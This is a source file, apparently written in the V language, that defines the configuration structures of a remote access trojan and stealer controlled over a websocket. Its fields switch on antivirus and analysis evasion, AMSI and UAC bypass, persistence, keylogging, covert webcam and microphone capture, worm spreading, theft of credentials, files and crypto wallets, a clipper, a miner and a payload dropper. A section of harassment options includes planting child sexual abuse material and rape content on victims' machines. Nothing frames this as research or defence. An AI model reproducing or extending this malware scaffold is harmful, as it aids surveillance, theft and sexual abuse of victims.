module structs

pub struct ConfStruct {
	pub mut:
		websocket string
		//use_ascon bool
		//use_x_asymmetric_key_exchange bool
		allow_remote_control bool // allow c2 live access other than this
		reconnect_rate string // 'retries per minute/wait period after'
		start_delay int // in seconds 
		auto_update bool
		update_delay int // in minutes
		updater_keep_old_version bool
		live_json_config_priority bool // whether to prefer an encrypted json object (randomly dropped on device to store updated configs)
		// over this hardcoded configuration, this cannot be changed
		// and is recommended to be set to true except for highly sensitive systems

    	melt_stub bool
		fake_error_msg bool
		fake_error_text_msg string
		anti_kill bool
		anti_kill_bsod bool
		anti_vm bool
		anti_debug bool
		anti_analysis bool
		persistence bool
		persistence_type persistence_type_helper

		webcam_snapshot bool
		webcam_snapshot_repeat bool
		webcam_snap_repeat_delay int 
		microphone_record bool
		microphone_record_time int // in seconds
		microphone_recording_repeat bool
		microphone_recording_repeat_delay int // in minutes, how many minutes to wait until the next recording of x microphone_record_time's length

		disable_cam_indicator_light bool

		screenshot bool

		keylogger bool
		app_injection bool
		network_spreading bool
		usb_spreading bool
		system_worm bool

		detect_location bool // tries to gain precise geolocation access
		detect_age_group bool
		detect_languages_spoken bool
		detect_gender bool // based on files, system name, location, recent typing activity ect. using BERT ai transformer

		hook_system_password bool


		dropper []DropperConfStruct

		exploitation ExploitationConfStruct
		exfiltration StealerConfStruct

		drainer []WalletConfStruct
		clipper []WalletConfStruct
		miner []WalletConfStruct

		plugins SelectiveConfStruct
		misc FunConfStruct
}

pub struct StealerConfStruct {
	pub mut:
	    network_data bool
		system_data bool
		messenger_data bool
		mail_data bool
		game_data bool
		application_data bool
		workplace_data bool
		wallet_data bool
		browser_data bool

		wallet_drainer bool
		crypto_clipper bool
		crypto_miner bool
}

pub struct ExploitationConfStruct {
	uac_bypass bool
	disable_reagentc bool
	destroy_defender bool
	disable_defender bool
	disable_etw bool
	amsi_bypass bool
}

pub struct WalletConfStruct { // for Drainer, Clipper & Miner Config
	pub mut:
		coin crypto_coin_helper
		wallet_address string
		miner_usage &int // optional, only used by miner, beneath the same
		miner_mode &crypto_miner_mode
}

pub struct SelectiveConfStruct {
	blacklist_countries []string
	defender_exclusion_stub bool
	defender_exclusion_other bool
	defender_excluded_files []string
	defender_excluded_folders []string
	steal_common_files bool
	delete_common_files bool
	steal_important_files bool
	delete_important_files bool
	important_file_types []string
	common_file_types []string
}

pub struct DropperConfStruct {
	pub mut:
		file_type dropper_file_type_helper
		file_link string
		execute bool
		save_on_disk bool
		save_location string
		startup bool 
}

pub struct FunConfStruct {
	pub mut:
		drop_porn bool
		drop_child_porn bool
		drop_rape bool
		drop_gore bool
		drop_cats bool
		drop_unicorns bool

		lock_screen bool

		gmailer bool
		yahoomailer bool
		mail_contents string

		random_sounds bool

		random_secret_file_deletion bool

		random_fast_file_deletion bool

		random_secret_app_deletion bool

		disable_task_mngr bool
		disable_explorer bool

		change_cursor_icon bool
		cursor_icon_uri string

		swap_wallpaper bool
		wallpaper_uri string

		invert_screen_colors_random bool

		max_system_volume_random bool

		disable_keyboard bool
		disable_mouse bool
		microphone_echo_effect bool

		porn_detection bool // detect porn on the monitor gradually, when detected take webcam snapshot and submit to c2 api
}


// helper structs

pub struct country_helper {
	pub mut:
		country string
}

pub struct file_type_helper {
	pub mut:
		file_type string
}

enum persistence_type_helper {
    registry
    taskschd
    shell_startup
    shell_common_startup
}

enum crypto_coin_helper {
	ltc
	btc
	eth
	xmr
	sol
	usdt
}

enum crypto_miner_mode {
	cpu
	gpu
}

enum dropper_file_type_helper {
	exe
	bat
	ps1
	zip
	rar
	js
	dll
	donut_pic_shellcode
	shortcut
}